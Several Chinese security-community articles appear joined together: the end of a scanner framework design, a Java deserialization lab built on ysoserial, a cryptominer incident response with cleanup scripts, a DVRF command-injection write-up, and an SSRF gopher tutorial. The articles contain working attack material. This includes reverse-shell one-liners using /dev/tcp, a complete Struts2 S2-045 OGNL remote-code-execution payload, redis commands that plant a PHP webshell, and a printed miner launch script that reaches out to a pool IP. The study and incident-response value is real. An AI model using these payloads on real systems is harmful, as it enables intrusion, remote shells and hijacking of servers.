Exp 信息由POC 信息以及执行命令进行组成。
通常发包协议为 HTTP、HTTPS、TCP、UDP等，协议（部分）发包方式有
GET、POST、PUT、HEAD、DELETE、OPTIONS、TRACE、CONNECT等，逻辑判定由“与或非”。
#### 插件加载中心
插件加载通过用户选用方式（全部加载、指定加载）进行加载插件。
1. 从插件数据库中获取需要加载的插件 **基本信息** 。
2. 获取插件中的代码信息，根据信息从本地的 git 仓库中进行获取插件代码信息。
3. 然后通过对应的加载服务进行加载 POC。
#### 插件管理中心
插件管理中心进行管理编写的插件信息，针对插件进行修改、删除、查询等操作。
* 新增/修改：基于模版中心的通用模版和编程语言模版进行新增以及修改操作。
* 查询：通过模版中心中的字段作为依据进行多维度查询，获取插件信息提供后续的修改以及利用。
* 删除：通过模版中心中的字段作为依据进行多维度查询并且删除。
### 目标中心
目标中心主要负责分析目标加载、资产管理以及漏洞管理三大模块。
* 目标加载模块：主要用来加载需要分析的目标。
* 资产管理：主要用来分析目标探测的资产信息、识别规则、漏洞信息管理。
漏洞插件信息可以通过使用数据库配合 Git 来进行存储，数据库中进行存储插件的基本，Git 存放插件的具体代码信息，使用 Git
可以进行控制插件的版本，可进行回退等操作。
#### 目标加载
目前加载可以通过加载单ip、ip段以及文件导入的方式进行导入。
* ip 段加载：进行生成 ip 段中的探测目标列表。
* 文件加载：解析导入的文件格式，通过对应的格式进行加载目标。
#### 资产管理
资产管理模块主要进行管理分析目标识别成功的资产信息、漏洞管理、以及识别规则管理。
* 目标资产：通过探测响应的信息与识别规则进行匹配进行识别资产，如果识别成功为已知资产，否则为未知资产，未知资产便于后续的规则录入提高资产的识别率。
* 漏洞管理：通过与已识别资产与对应的漏洞检测插件进行检测的结果。
* 识别规则：识别规则构造格式，可以通过探测响应的协议、响应内容、Header、服务类型等信息进行构造规则作为识别规则。
### 日志管理
日志管理模块主要管理整体框架的日志信息包含日志记录、查询等操作。
* 日志信息包含，框架内部请求信息（请求URI、请求方式（POST、GET、DELETE等）、请求参数等信息）以及响应信息（响应头、响应内容等信息）以及框架执行操作（资产探测、插件检测等）。
* 日志记录，可以通过统一请求中心记录网络日志信息。
* 日志查询，通过查询ip、请求URI、请求方式、响应内容等多维度进行查询，便于后续的漏洞漏洞排查。
## 总结
文中的流程图：[https://github.com/0nise/scripts](https://github.com/0nise/scripts/tree/master/%E4%B8%80%E6%AC%BE%E6%BC%8F%E6%B4%9E%E9%AA%8C%E8%AF%81%E6%A1%86%E6%9E%B6%E7%9A%84%E6%9E%84%E6%80%9D)
本文描述的为我所构思的一款漏洞探测框架，如果有文章内描述不符以及问题，请各位师傅不要吝啬，烦请各位师傅斧正。 | 社区文章 |
## 前置准备
（截图使用了mac和windows两个版本，应该影响不大。）
1、简单学一下java、了解方法、类、构造器、重载、继承、反射等
2、环境下载，装好IDEA、Tomcat、下载好各版本的JDK（jre）
## 基础配置
新建项目，选择Java Enterprise，
idea为我们准备好了一些常用的依赖包，这里选择servlet
这里输入项目名称，group一般设为小组、公司名，artifact是部署的实例名
项目创建好之后，目录应该是这样。在webapp目录下创建我们的`helloworld`。
创建文件叫`index.jsp`，在`<body>`标签里写入`hello world.`
然后下一步是配置中间件，这里用tomcat为例做一个示范，点击右上角的小三角形，在选择`edit configurations`点左边的+号，找到
Tomcat Server中的Local。右侧配置Name，在Application Server选择tomcat放置的目录，然后点击Deployment。
在这加一个artifact，这就是一个实例，需要部署war，告诉tomcat把什么项目部署到它上面。
上述完事之后，就可以点OK。然后点RUN，让我们的`hello world`跑起来。
然后等待右下角的deploy的logo信息完成。
然后打开浏览器，在地址栏输入`http://localhost:8080/servletdemo_war/`（这个地址也能载配置tomcat的URL地方找到）
这里成功输出了hello world。然后我们去tomcat目录看一下是否被idea部署上了项目。
## 搞一个servlet
上面我们已经搞了一个简陋版的`hello world`，相当于在`index.php`PHP文件里嵌入的HTML代码`<body>hello
world</body>`，我们还并没有开始写Java代码，我们下面就是要实现Java版的`<?php echo 'hello
world';?>`。吐槽一句，这两者的对比是否让大家体会到入门复杂度的区别了吧。不过PHP8.0最近更新，朋友圈哀嚎一片。
我还是要说！
> PHP是世界上最好的语言
首先，需要在src/main/java上右击，创建一个新的servlet。
然后在src/main/webapp/WEB-INF/web.xml配置servlet
图中我加了一些注释，简单说就是 servlet-name这个配置需要相同，servlet-class需要与servlet代码的文件名相同，url-pattern需要和浏览器输入的url中路径相同。
下面开始写代码，我们可以看到我们创建的`firstServlet`已经有初始化代码了，我们写的各个servlet都是继承了HttpServlet类，我们需要实现他的doGet()、与doPost()方法。
@WebServlet(name = "firstServlet")
//这里是注释配置访问servlet，暂时不管
public class firstServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
//把post请求也交给doGet处理
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
out.write("Hello world from firstServlet");
out.close();
}
}
然后，我们把最开始的index.jsp改一改
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
hello world!
<a href="firstservlet"> Go to firstServlet </a>>
</body>
</html>
然后重新部署一下，
在浏览器访问`http://localhost:8080/servletdemo_war/`
我们刚改的index.jsp已经生效了，点击 `Go to firstServlet`测试一下servlet。
点击一下，发现结果符合预期。
到这，我们就完成了servlet版的helloword。
## 反序列化的Webdemo
这里使用ysoserial的CC1漏洞，这里首先需要保证JRE的环境是小于18_271的。这里我选择了前一个版本，也就是18_66。
然后写一个demoserver的Servlet和web.xml代码。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>demoserver</servlet-name>
<servlet-class>demoservlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>demoserver</servlet-name>
<url-pattern>/demoserver</url-pattern>
</servlet-mapping>
</web-app>
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
@WebServlet(name = "demoserver")
//这里是注释配置访问servlet
public class demoservlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//接受POST请求传输的流，并进行反序列化操作
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
try{
ois.readObject();
}catch (ClassNotFoundException e){
e.printStackTrace();
}
ois.close();
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
out.write("Hello world from firstServlet");
out.close();
}
}
在pom.xml文件里写上commoncollection3.1的依赖，因为ysoserial的CC1基于这个版本。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
下面是结构图。
去tomcat的目录看一下依赖有没有正确的导入。这里可以看到`commons-collections-3.1`已经导入。
## ysoserial生成payload
现在close掉刚才的Web项目。下载ysoserial项目，然后把项目包放到Idea的项目文件夹里。（这里也可以就地打开项目，但是ysoserial后期用的多，建议移到Idea的项目文件夹）
> git clone <https://github.com/frohoff/ysoserial.git>
使用Idea打开pom.xml文件，选择`open as project`。然后等待依赖下载，完成后，左边的的`External
Libraries`会有很多依赖。如果pom还有红色报错可以手动下载依赖导入一下（亦可以暂时不理会，前期不一定会用到对应依赖）。
导入完成后，给项目添加一个运行环境，注意这里创建`Application`就可以了。
这里我们使用`CommonsCollections1`来执行`calc.exe`命令，注意ysoserial的的main函数在`GeneratePayload`Run一下代码，会发现工具输出了一串字符，这个`payload`是Java的`stream`不全部是可见字符，我们可以加一段代码，让工具把`payload`写入文件。
关键的序列化代码在这里，使用Ctrl+左键跟踪定义。
然后就是序列化生成payload的方法了，添加的代码写到注释里了。代码有红色报错的话，就是用Idea的自动debug功能添加相关的依赖。
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
//*****************这里添加一个生产payload文件的代码
try{
FileOutputStream fout = new FileOutputStream("./payload.ser");
ObjectOutputStream ot = new ObjectOutputStream(fout);
ot.writeObject(obj);
ot.close();
fout.close();
}catch (FileNotFoundException FNFE){
System.out.println("./payload.ser Not Found");
}
//*****************
}
代码的作用就是在当前目录输出一个payload.ser的二进制文件，便于我们使用。
运行项目生成payload文件。用hexdump简单看一下，有反序列化的明显特征。
## 测试Payload
启动一下burp，换一下代理端口（8080被tomcat占用了）。把ysoserial项目close掉，打开一开始我们创建的demoweb项目，启动tomcat。然后使用Curl来进行发送我们的payload。
curl -x http://127.0.0.1:8081 http://localhost:8080/demoserver_war_exploded//demoserver --data-binary @payload.ser
* -x 配置了Burp的http代理
* 后面直接跟目标的URL
* \--data-binary 会以POST发送二进制数据
成功执行。
## 动态调试
CC1的漏洞链会经过LazyMap，在那里打一个断点测试动态调试。双击`shift`搜索`LazyMap`
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {//打断点
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
把tomcat切换为debug模式，在Burp里重发一下
成功调试。
到这里一个Java安全学习的环境基本就搭建好了，后面会更新常见的JAVA安全漏洞环境。
## 致谢
感谢phithon、kingx、noxxx、Epicccal | 社区文章 |
# 一次内网挖矿病毒的应急响应
## 零、前言
前几天公司的一台虚拟机CPU持续告警，IT周日发现了问题，后来发现是挖矿病毒并且已经在内网扩散了，安全小组立刻展开调查。因为网上文章对于挖矿在内网扩散怎么解决的思路很少，所以才有了下面这篇文章。
## 一、背景
周一上午IT部门反馈内部服务器疑似被攻击，攻击特征为cpu利用率非常高，几乎占满，怀疑被挖矿开始跟踪分析。
## 二、过程
### 2.1、确定是否为攻击
IT部门给了我一台ip为192.168.5.3的服务器让我先做初步的分析，登上去后。
首先通过top查看服务器，发现pid为1320，bash启动的程序cpu占用率高达4000%，进行查看。
先确定启动进程的文件位置为`/mnt/.bash/`，然后`kill -9`终止进程。
#下面的命令可以查看PID为1320的进程是由哪个文件启动的。
ls -l /proc/1320/exe
lrwxrwxrwx 1 root root 0 Jan 25 09:40 /proc/1320/exe -> /mnt/.bash/.bash/bash (deleted) #这里的deleted表示启动的文件被删除了
查看目录下都有什么内容
[root@host2 ~]# ls
a bash bash3 bash.pid c cron.d dir.dir h32 h64 run stak stak3 upd x z
查看了run文件的内容，其中内容如下，存在明显的挖矿的特征，确定为挖矿病毒
#!/bin/bash
#下面的循环会删除服务器上所有cpu高于40%的服务，为自己的挖矿程序提供更多的cpu使用。
#ps aux | grep -vw xmr-stak | awk '{if($3>40.0) print $2}' | while read procid
#do
#kill -9 $procid
#done
proc=`nproc`
ARCH=`uname -m`
HIDE="xmrig"
#根据不同的架构启动不同挖矿程序
if [ "$ARCH" == "i686" ]; then
./h32 -s $HIDE ./stak3/ld-linux.so.2 --library-path stak3 stak3/xmrig -o 188.166.218.65:54 -a cn/r -k >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -o 188.166.218.65:54 -k >>/dev/null &
fi
echo $! > bash.pid
### 2.2、明确自己要干的事情
因为刚开始只拿到了一台服务器确定了问题，所以现在有两个重要的事情需要同时去做。
* 找到攻击的入口点并处理掉入口点的安全问题。
* 确认内网扩散的影响，内网扩散的手段，并删除内网扩散的挖矿病毒。
所以我就开始一边写删除挖矿病毒的临时脚本，一边开始看服务器的记录，找到入口程序。
下面我会将这两件事分开来讲，但是上面两件事情是同步去做的。
### 2.3、编写删除挖矿脚本的程序
1. 为了彻底删除挖矿脚本，我们就要知道这个挖矿程序都干了什么事情。我先排查了定时任务，`crontab -e`编辑定时任务，刚发现挖矿程序在`/mnt/.bash`,所以又去看了另外一台服务器发现了`/mnt/.cache`所以可以确定这个定时任务就是挖矿病毒留下来的。
使用脚本删除定时任务,需要修改`/var/spool/cron/或者/var/spool/cron/root这两个文件`(centos和ubuntu有所不同)，因为我们的服务器大多数都是centos，所以我简单判断了一下操作系统版本。
1. 后面来自其他部门的多次反馈，确定了挖矿程序主要放在`/mnt/.cache /mnt/.bash /tmp/.cache这三个目录下`，所以我们可以找到进程中哪些进程都是由这三个目录中的文件启动的就杀掉,所以就写好了下面的代码
2. 删除挖矿程序
通过排查，发现这个挖矿程序很简单，我们只需要关注三点：
* 杀进程
* 删文件
* 删定时任务
这里贴出来自己最后的代码，虽然很简陋，甚至代码冗余，但是确实最快速解决问题的方法了。
#!/bin/bash
DIR_PATH="/mnt/.cache"
FILE_PATH="/mnt/.cache/upd"
CRON_FILE="/var/spool/cron/root"
#判断是不是ubuntu
is_ubuntu=$(cat /proc/version | grep ubuntu | wc -l)
if [[ is_ubuntu == 1 ]];then
CRON_FILE="/var/spool/cron/crontabs/root"
fi
#杀进程
pid_num=$(ls -l /proc/*/exe 2>&1 | grep mnt/.bash | awk '{print $9}' | cut -f3 -d"/")
if [ ! -z "$pid_num" ];then
echo -e "\033[31m正在kill隐藏进程,启动目录为/mnt/.bash\033[0m"
kill -9 $pid_num
fi
pid_num2=$(ls -l /proc/*/exe 2>&1 | grep mnt/.cache | awk '{print $9}' | cut -f3 -d"/")
if [ ! -z "$pid_num2" ];then
echo -e "\033[31m正在kill隐藏进程,启动目录为/mnt/.cache\033[0m"
kill -9 $pid_num2
fi
pid_num3=$(ls -l /proc/*/exe 2>&1 | grep tmp/.bash | awk '{print $9}' | cut -f3 -d"/")
if [ ! -z "$pid_num3" ];then
echo -e "\033[31m正在kill隐藏进程,启动目录为/tmp/.bash\033[0m"
kill -9 $pid_num3
fi
pid_num4=$(netstat -antlp | grep 206.81.29.251 | awk '{print $7}' | cut -f1 -d"/")
if [ ! -z "$pid_num4" ];then
echo -e "\033[31m正在kill隐藏进程,netstat 为206.81.29.251\033[0m"
kill -9 $pid_num4
fi
if [ -d "$DIR_PATH" ]; then
if [ -x "$FILE_PATH" ]; then
echo -e "\033[31m该服务器已中挖矿病毒，开始清除 \033[0m"
#清空 crontab中的恶意启动项
sed -i '/.cache\/upd/d' $CRON_FILE
#删除所有的文件
rm -rf /mnt/.cache/
cron_num=$(crontab -l | grep /mnt/.cache | wc -l)
if [[ $cron_num == 0 ]];then
echo -e "\033[31mcrontab删除成功 \033[0m"
fi
if [ ! -x "$FILE_PATH" ]; then
echo -e "\033[31m挖矿文件删除文件 \033[0m"
fi
echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m"
fi
fi
DIR2_PATH="/mnt/.bash"
FILE2_PATH="/mnt/.bash/upd"
if [ -d "$DIR2_PATH" ]; then
if [ -x "$FILE2_PATH" ]; then
echo -e "\033[31m该服务器已中挖矿病毒，开始清除 \033[0m"
#清空 crontab中的恶意启动项
sed -i '/.bash\/upd/d' $CRON_FILE
#删除所有的文件
rm -rf /mnt/.bash/
cron_num=$(crontab -l | grep /mnt/.bash | wc -l)
if [[ $cron_num == 0 ]];then
echo -e "\033[31mcrontab删除成功 \033[0m"
fi
if [ ! -x "$FILE2_PATH" ]; then
echo -e "\033[31m挖矿文件删除文件 \033[0m"
fi
echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m"
fi
fi
DIR3_PATH="/tmp/.bash"
FILE3_PATH="/tmp/.bash/bash"
if [ -d "$DIR3_PATH" ]; then
if [ -x "$FILE3_PATH" ]; then
echo -e "\033[31m该服务器已中挖矿病毒，开始清除 \033[0m"
#清空 crontab中的恶意启动项
sed -i '/tmp\/.bash\/bash/d' $CRON_FILE
#删除所有的文件
rm -rf /tmp/.bash/
cron_num=$(crontab -l | grep /tmp/.bash | wc -l)
if [[ $cron_num == 0 ]];then
echo -e "\033[31mcrontab删除成功 \033[0m"
fi
if [ ! -x "$FILE2_PATH" ]; then
echo -e "\033[31m挖矿文件删除文件 \033[0m"
fi
echo -e "\033[33m请尽快修改服务器root用户密码为复杂密码!!!!!不要使用admin123类似弱口令:\033[0m"
fi
fi
IT部门并不知道每台服务器和虚拟机的密码，我们虽然已经知道大部分都是弱口令的，但是也不知道那一台是什么样子，所以最好的方法就是通知到所有服务器的负责人，让他们自己去清除。
因为后续发现了挖矿程序内网扩散攻击成功的列表，所以最后使用批量下发脚本的程序去删除所有的挖矿程序，效果非常好，到第二天只剩下一台告警了。
下图为挖矿程序遗留的内网暴力破解成功的用户密码表。
下图为最后批量下发脚本的截图
### 2.4、查找入口点
入口点找了很久，因为有的服务器我们一时半会联系不到责任人，所以只能等着，等比人反馈问题给IT，IT反馈给我。
我们主要通过几个日志文件去做排查。
lastb > /home/lastb.log
last > /home/last.log
cat /var/log/secure > /home/secure.log
从刚开始拿到手的几台失陷的机器的特征可以判断内网是通过ssh弱口令来扩散的。因为失陷的几台服务器密码都为123456，admin123，并且日志中有大量登录失败的记录。
后来我们发现所有的登录爆破都来自于192.168.111.67，但是这台服务器一直找不到责任人，最后我通过暴力破解弱口令登上了这台服务器，并且发现了入侵者的攻击痕迹。在查找入口点的过程中，我画了简单地攻击拓扑图，来方便我来确定最后的入口点。
最后通过大量的日志可以确定攻击者是十二月份就登陆了我们的一台服务器(这台服务器外网可以连接，并且存在大量测试账号)，而攻击者却没有使用这台服务器，而是使用192.168.111.67对整个内网发起了攻击。
但是当我们登录到入口点那台机器的时候，发现重要的日志已经被删除了，history记录也没有了，所以攻击者已经很难找到。
## 三、整改
每次恶意攻击事件的爆发都会暴露出企业安全存在的一些问题，于是我们针对此次攻击做出了必要的整改。
* 禁止内网服务器，虚拟机使用弱口令。禁止mysql使用弱口令。通过定期服务器弱口令扫描和大量的宣传来防止事情的再次发生。
* 确定外网可连接服务器的责任人，任何从此服务器弱口令相关的漏洞进来的问题，事后追责。
* 网络隔离
* 从此次问题发现我们主机部分都没有安装主机安全相关的软件，所以需要主机安全的加固
## 四、入侵排查整理
#### 1\. 定时任务排查
定时任务crontab是挖矿病毒都会用到的东西，所以定时任务一定要看。
crontab -l #列出所有的定时任务
crontab -r #删除所有的定时任务，可能会删除我们自己的配置信息，不推荐使用
crontab -e #编辑crontab文件
一些需要关注的定时任务文件
/var/spool/cron/* #centos的
/var/spool/cron/crontabs/* #ubuntu的
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab #异步定时
/etc/cron.hourly/*
/etc/cron.daily/*
/etc/cron.weekly/
/etc/cron.monthly/*
#### 2\. 用户密码
排查`/etc/passwd`
stat /etc/passwd #查看密码文件上一次修改的时间，如果最近被修改过，那就可能存在问题。
cat /etc/passwd | grep -v nologin #查看除了不可登录以外的用户都有哪些，有没有新增的
cat /etc/passwd | grep x:0 #查看哪些用户为root权限，有没有新增的
cat /etc/passwd | grep /bin/bash #查看哪些用户使用shell
#### 3\. 导出操作记录
如果攻击者没有删除造作记录，我们可以从操作记录中发现一些我们想要的东西
export HISTTIMEFORMAT="%F %T `whoami` " #设置history显示时间和用户名
history > /home/xxx/history.log
#### 4\. 日志
日志总是能发现一些蛛丝马迹，所以日志也同样重要。存放在`/var/log`目录下的东西都认真看一下
/var/log/secure #记录安全相关的日志，重点看一下
/var/log/btmp #登陆失败的日志记录
lastb -f btmp-2020xxxx #可以查看过去的某个登录失败记录
/var/log/wtmp #登陆成功的日志记录
#wtmp和btmp只能使用 last和lastb命令查看，不能直接打开看内容的。
/var/log/yum.log #安装记录，我们可以看一下最近有没有安装一些特殊的依赖库什么的
#### 5\. 进程排查
top 命令可以直接清除看到实施情况。
ps aux --sort=pcpu | head -10 #查看cpu占用率前十的进程，有时候可以发现top发现不了的东西
ls -l /proc/*/exe | grep xxx #如果我们知道恶意程序的启动文件大致位置，可以使用这个发现无文件的恶意进程
#### 6\. 域名hosts
有一些挖矿程序会修改 `/etc/hosts`文件，请看一下其中内容是否被更改过
前两天在另外的项目组上发现的某个挖矿病毒就会修改 **hosts** 文件
这是从那台服务器上提取的一些恶意的配置内容
0.0.0.0 aliyun.one
0.0.0.0 lsd.systemten.org
0.0.0.0 pastebin.com
0.0.0.0 pm.cpuminerpool.com
0.0.0.0 systemten.org
#### 7.网络连接
有时候我们通过网络连接发现有些IP很可以，就可以通过ip找到进程发现问题。
netstat -antlp | grep x.x.x.x | awk '{print $7}' | cut -f1 -d"/" #获取存在某ip的进程id号 | 社区文章 |
## 前言
这次的这道题目是 `DVRF` 的，程序是 `pwnable/ShellCode_Required/` 目录下的 `socket_cmd`
。题目涉及到了简单的命令注入的绕过。
## 漏洞分析
在 github 下直接查看源码：
https://github.com/praetorian-inc/DVRF/blob/master/Pwnable%20Source/ShellCode_Required/socket_cmd.c
源码如下：
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Pwnable Socket Program
// By b1ack0wl
// Command Injection
int main(int argc, char **argv[])
{
if (argc <2){
printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);
}
char str[200] = "\0";
char endstr[100] = "\0";
int listen_fd, comm_fd;
int retval = 0;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %d\n", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1){
printf("Error Binding to port %d\n", atoi(argv[1]) );
exit(1);}
listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
while(1)
{
bzero(str, 200);
write(comm_fd, "Send me a string:",17);
read(comm_fd,str,200);
if (!strcasecmp(str, "exit")){
write(comm_fd, "Exiting...");
exit(0);
}
snprintf(endstr, sizeof(endstr), "echo %s", str);
system(endstr);
bzero(endstr, 100);
snprintf(endstr, sizeof(endstr), "You sent me %s", str);
write(comm_fd, endstr, strlen(endstr)+1);
}
}
阅读源码可以知道程序的功能是在 **本地绑定一个端口进行监听** ，然后我们用 `nc` 直接连接上去就行了。
* 这里就相当于路由器 **在初始化一个 httpd 进程后，绑定了 80 端口** ，只要我们连接这个端口就可以进行访问。
例如我们这里绑定到本地的 `55555` 端口，然后再开一个终端连接上去
程序会输出我们的输入的字符串。
看源码发现，程序会使用 `snprintf` 格式化的输出并直接调用 `system` 函数，执行 `shell` 指令。
所以很明显 **这里存在一个命令执行的注入** 。这种形式的注入在做 CTF 的 WEB 题中还是可以经常遇到的。
在 `IDA` 中，也可以很清晰的看到，`system` 函数直接把 `snprintf` 函数格式化后到栈上的字符串作为参数来执行命令。
### 构造 payload
源码的 `system` 函数是 `system("echo %s");` 这样调用的，我们可以使用 | 或者 ; 来达到截断的目的。
例如：`system("echo 123;ls")` 或者 `system("echo 123|ls")`
但是在这个命令执行的回显是在服务器端的，我们无法看到回显。 **所以自然就会想到我们可以通过反弹一个`shell` 来 `getshell`**
可以使用 `bash -i` 来反弹：
bash -i >& /dev/tcp/ip/port 0>&1
但是这里直接使用的话是不起作用的，貌似是空格被截断了啥的。
所以这里我们需要使用`bash -c` 命令， **将`bash -i` 的这个命令作为他的参数传进去**，即：
123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
在 `vps` 上开启一个监听端口，就可以正常弹回 `shell` 了
* 原来以为 `snprintf` 函数存在栈溢出，但是其实只有 `sprintf` 才会溢出
## 总结
从这题的源码以及解题思路可以得出，在挖掘 IOT 固件漏洞的过程中，还可以尝试绑定的某个端口的 fuzz 的命令注入，或许会有意想不到的效果。
这题应该还有许多种绕过姿势的，这边就讲到的最简单的两种，使用 | 和 ; 符号进行注入。别的姿势大家可以自行挖掘和尝试。 | 社区文章 |
## gopher 协议
#### 协议简介
gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http
协议的前身或简化版，虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。
它可以实现多个数据包整合发送，然后gopher 服务器将多个数据包捆绑着发送到客户端，这就是它的菜单响应。比如使用一条gopher 协议的curl
命令就能操作mysql 数据库或完成对redis 的攻击等等。
gopher 协议使用tcp 可靠连接。
#### 协议格式
gopher url 格式为：
`gopher://<host>:<port>/<gopher-path>`
`<port>`默认为70。
`<gopher-path>`其中<gopher-path>格式可以是如下其中的一种</gopher-path>
<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
整个`<gopher-path>`部分可以省略，这时候`\`也可以省略`<gophertype>`为默认的1。
`<gophertype>`是一个单字符用来表示url 资源的类型，在常用的安全测试中发现不管这个字符是什么都不影响，只要有就行了。
`<selector>`个人理解这个是包的内容，为了避免一些特殊符号需要进行url 编码，但如果直接把wireshark 中ascii
编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错，得在wireshark 里先换成hex
编码的原始数据后再每两个字符的加上`%`，通过对比发现直接url 编码的话会少了`%0d`回车字符。
`<search>`用于向gopher 搜索引擎提交搜索数据，和`<selector>`之间用`%09`隔开。
`<gopher+_string>`是获取gopher+ 项所需的信息，gopher+ 是gopher 协议的升级版。
## gopher 协议在ssrf 中的利用
出现ssrf 的地方如果没有对协议、ip、端口等一些东西进行限制，则可以用来探测内网存活的ip 及开放的端口、读取任意文件、利用phar
协议触发反序列化、攻击内网redis/memcache/mysql 及web 应用fastcgi 或其他服务等等。
而gopher 协议在其中占了很重要的角色。
#### 测试代码
java 中的ssrf 漏洞的限制比php 多得的，而且gopher 协议在jdk8 中就被移除了，所以这次测试都是使用如下的php 代码。
<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>
#### 攻击内网web 服务
当通过ssrf 发现内网存在着一些比较脆弱的web 服务，比如有存在struts 2漏洞的web 服务，就可以尝试使用gopher 协议把poc
发送过去实现rce，比如下面复现的这个内网struts 2 s2-045漏洞就是通过gopher 协议提交位于header 内的poc 来完成rce。
实验中存在ssrf 漏洞的靶机是192.168.73.150，存在struts 2 s2-045
漏洞的内网靶机是192.168.123.155（假装它们在同一内网）。
通常的s2-045 的poc 如下
GET /showcase.action HTTP/1.1
Host: 192.168.123.155:8080
Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
对该poc 的空格和一些特殊字符进行url 编码，然后每个回车都编码成`%0d%0a`包括尾巴行的回车即可用gopher 协议提交。
我为了方便直接把`Content-Type`后面的poc 全部url 编码了，最后结果如下，需要注意的事在url 中提交ssrf
poc的时候得再进行一次url 编码。
这里也可以直接反弹shell，s2-045 使用这条命令可以反弹shell
`exec 5<>/dev/tcp/192.168.123.182/7777;cat <&5 |while read line;do $line 2>&5
>&5;done`
#### 攻击内网redis
这里攻击的redis 是存在密码的，ssrf 漏洞机器和redis 为同一台，网上很多文章都是使用脚本来完成攻击payload
的生成，个人测试发现并不需要那么麻烦。
写web shell
这个的利用条件是知道web 目录，redis 启动账户有权限往web 目录里写入内容。
普通利用redis 写web shell 过程，是设置了一个key 的值为shell 后通过备份数据库把shell 保存到web 目录，操作如下。
[root@localhost ~]# redis-cli -h 192.168.73.150 -a foo
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
192.168.73.150:6379> set shell '<?php eval($_POST[cmd]);?>'
OK
192.168.73.150:6379> config set dir '/usr/local/apache2.4/htdocs'
OK
192.168.73.150:6379> config set dbfilename shell.php
OK
192.168.73.150:6379> save
OK
192.168.73.150:6379>
利用gopher 协议则需要现在先在本地利用上述操作复现并抓包下来后，丢到wireshark 里导出原始数据处理成gopher 协议的poc，具体如下。
使用tcpdum 抓包回环网卡lo 的6379 端口的完整包内容写入到a.cap
tcpdump -i lo port 6379 -s 0 -w a.cap
将a.cap 用wireshark 打开找到发送redis 命令的包然后追踪流，以原始数据报错到a.txt
使用如下命令将原始数据a.txt 的内容进行编码，后使用gopher 协议发送到6379 端口
cat a.txt|xxd -plain|sed -r 's/(..)/%\1/g'|tr -d '\n'
除了写入web shell 外还可以写ssh 公钥，写crontab 任务等，过程和上面类似。
写ssh 公钥的利用条件是redis 启动用户在目标home 目录下有写入权限，服务器开放了ssh 且可以使用密钥登录，需要注意的是设置key
值得时候要用换行`\n`隔开，不然写入了也无法解析。
#### 攻击mysql
如果内网存在没有密码的mysql 则也可以使用gopher 协议进行攻击，操作过程和上面类似，在本地操作mysql
交互把数据完整抓包下来编码通过gopher 提交，在与mysql 交互的最后如果不exit gopher 会保持连接需要ctrl+c
才能显示结果。需要注意的是存在ssrf 漏洞的服务系统要和抓包时候与mysql 交互的系统要一样。
#### 攻击内网ftp
ftp 只能通过tcp 连接，gopher 协议支持ftp 操作，利用gopher 可以暴破ftp 的账号密码，暴破完了之后可以尝试上传文件。
